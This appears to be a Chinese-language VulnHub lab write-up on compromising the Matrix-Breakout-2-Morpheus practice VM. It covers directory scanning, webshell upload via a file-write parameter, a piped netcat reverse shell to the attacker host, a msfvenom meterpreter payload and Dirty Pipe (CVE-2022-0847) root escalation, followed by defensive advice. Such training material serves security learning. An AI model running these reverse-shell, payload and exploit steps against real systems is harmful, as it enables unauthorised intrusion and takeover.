vulnhub打靶日记day02之matrix-breakout-2-morpheus
字数 1355 2025-08-24 07:48:10

Matrix-Breakout-2-Morpheus 渗透测试实战教学文档

靶机概述

  • 靶机名称: Matrix-Breakout-2-Morpheus
  • 下载地址: VulnHub
  • 攻击机IP: 10.10.10.129
  • 靶机IP: 10.10.10.132

信息收集阶段

1. 网络扫描

nmap -sn 10.10.10.0/24  # 发现靶机IP
nmap -Pn -A -p- 10.10.10.132  # 全面扫描

扫描结果:

  • 开放端口: 22(SSH), 80(HTTP), 81(HTTP)

2. Web服务枚举

80端口分析:

  • 简单网页,包含一段文字和一张图片
  • 查看源码未发现明显利用点
  • 目录扫描初始未发现有用信息

81端口分析:

  • 登录界面
  • 尝试账号爆破和SQL注入未果
  • 初始目录扫描无结果

3. 深入目录扫描

使用不同工具和字典进行扫描:

# 使用dirsearch扫描(初始方法不完整)
dirsearch -u http://10.10.10.132/ -w /usr/share/wordlists/dirbuster/apache-user-enum-1.0.txt -t 100 -o 1.txt

# 改进方法:使用gobuster并指定多种文件扩展名
gobuster dir -u http://10.10.10.132 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,jsp,aspx,asp,js

扫描发现:

  • /graffiti.txt - 存储用户输入
  • /graffiti.php - 包含输入框的页面

漏洞利用阶段

1. graffiti.php分析

  • 功能: 用户输入直接显示在页面上
  • 存在存储型XSS漏洞
  • 尝试PHP代码注入:
    • 常规<?php ?>标签被过滤(插入!--变为注释)
    • 尝试无?的PHP标签:<script language="pHp">@eval(['a'])</script> (未成功)

2. 请求分析

抓包发现两个参数:

  • message: 用户输入内容
  • file: 默认为graffiti.txt

3. 文件写入漏洞利用

  • 修改file参数为graffiti.php并写入PHP代码
  • 也可指定不存在的文件名,系统会创建新文件
  • 使用蚁剑成功连接Webshell

权限提升阶段

1. 初始信息收集

whoami  # 查看当前用户
ls -l /etc/passwd /etc/shadow  # 查看关键文件权限
find / -perm -u=s -type f 2>/dev/null  # 查找SUID文件
sudoedit -s /  # 测试sudo提权

2. 反弹Shell技巧

由于靶机nc不支持-e参数,使用替代方法:

  1. 攻击机开启两个监听端口:
nc -lvp 4444
nc -lvp 5555
  1. 靶机执行:
nc 10.10.10.129 4444 | /bin/bash | nc 10.10.10.129 5555
  • 4444端口输入命令
  • 5555端口显示结果

3. 使用MSF进行提权

步骤1: 生成payload

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.10.10.129 lport=4444 -f elf > 4444.elf

上传到靶机/tmp目录并执行

步骤2: 使用提权辅助模块

use post/multi/recon/local_exploit_suggester
set session <session_id>
run

步骤3: 利用CVE-2022-0847(Dirty Pipe)提权

use exploit/linux/local/cve_2022_0847_dirtypipe
set session <session_id>
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.10.10.129
set lport 5555  # 使用不同端口
run

获取Flag

  • 获得root权限后,在root目录下找到flag文件

关键知识点总结

  1. 目录扫描技巧:

    • 必须指定文件扩展名(-x参数)
    • 尝试多种字典和工具组合
    • 注意扫描工具默认行为差异
  2. 文件写入漏洞利用:

    • 参数篡改攻击(修改file参数)
    • 绕过PHP标签过滤技巧
    • 利用不存在的文件名创建新文件
  3. 反弹Shell替代方案:

    • 管道方式:nc | /bin/bash | nc
    • 适用于nc不支持-e参数的情况
  4. MSF提权流程:

    • 生成定制payload
    • 使用local_exploit_suggester模块
    • 选择合适的内核漏洞利用
  5. Dirty Pipe漏洞(CVE-2022-0847):

    • Linux内核漏洞(5.8-5.16.11)
    • 允许覆盖任意只读文件
    • 可用于提权和容器逃逸

防御建议

  1. 对于开发人员:

    • 严格验证用户输入
    • 限制文件写入操作的目标路径
    • 禁用危险函数如eval()
  2. 对于系统管理员:

    • 及时更新内核和安全补丁
    • 限制SUID/SGID文件数量
    • 监控异常文件修改行为
  3. 通用安全措施:

    • 实施最小权限原则
    • 禁用不必要的服务和端口
    • 定期进行安全审计和渗透测试
Matrix-Breakout-2-Morpheus 渗透测试实战教学文档 靶机概述 靶机名称: Matrix-Breakout-2-Morpheus 下载地址: VulnHub 攻击机IP: 10.10.10.129 靶机IP: 10.10.10.132 信息收集阶段 1. 网络扫描 扫描结果: 开放端口: 22(SSH), 80(HTTP), 81(HTTP) 2. Web服务枚举 80端口分析 : 简单网页,包含一段文字和一张图片 查看源码未发现明显利用点 目录扫描初始未发现有用信息 81端口分析 : 登录界面 尝试账号爆破和SQL注入未果 初始目录扫描无结果 3. 深入目录扫描 使用不同工具和字典进行扫描: 扫描发现: /graffiti.txt - 存储用户输入 /graffiti.php - 包含输入框的页面 漏洞利用阶段 1. graffiti.php分析 功能: 用户输入直接显示在页面上 存在存储型XSS漏洞 尝试PHP代码注入: 常规 <?php ?> 标签被过滤(插入 !-- 变为注释) 尝试无 ? 的PHP标签: <script language="pHp">@eval(['a'])</script> (未成功) 2. 请求分析 抓包发现两个参数: message : 用户输入内容 file : 默认为 graffiti.txt 3. 文件写入漏洞利用 修改 file 参数为 graffiti.php 并写入PHP代码 也可指定不存在的文件名,系统会创建新文件 使用蚁剑成功连接Webshell 权限提升阶段 1. 初始信息收集 2. 反弹Shell技巧 由于靶机nc不支持 -e 参数,使用替代方法: 攻击机开启两个监听端口: 靶机执行: 4444端口输入命令 5555端口显示结果 3. 使用MSF进行提权 步骤1: 生成payload 上传到靶机 /tmp 目录并执行 步骤2: 使用提权辅助模块 步骤3: 利用CVE-2022-0847(Dirty Pipe)提权 获取Flag 获得root权限后,在root目录下找到flag文件 关键知识点总结 目录扫描技巧 : 必须指定文件扩展名( -x 参数) 尝试多种字典和工具组合 注意扫描工具默认行为差异 文件写入漏洞利用 : 参数篡改攻击(修改 file 参数) 绕过PHP标签过滤技巧 利用不存在的文件名创建新文件 反弹Shell替代方案 : 管道方式: nc | /bin/bash | nc 适用于nc不支持 -e 参数的情况 MSF提权流程 : 生成定制payload 使用 local_exploit_suggester 模块 选择合适的内核漏洞利用 Dirty Pipe漏洞(CVE-2022-0847) : Linux内核漏洞(5.8-5.16.11) 允许覆盖任意只读文件 可用于提权和容器逃逸 防御建议 对于开发人员 : 严格验证用户输入 限制文件写入操作的目标路径 禁用危险函数如 eval() 对于系统管理员 : 及时更新内核和安全补丁 限制SUID/SGID文件数量 监控异常文件修改行为 通用安全措施 : 实施最小权限原则 禁用不必要的服务和端口 定期进行安全审计和渗透测试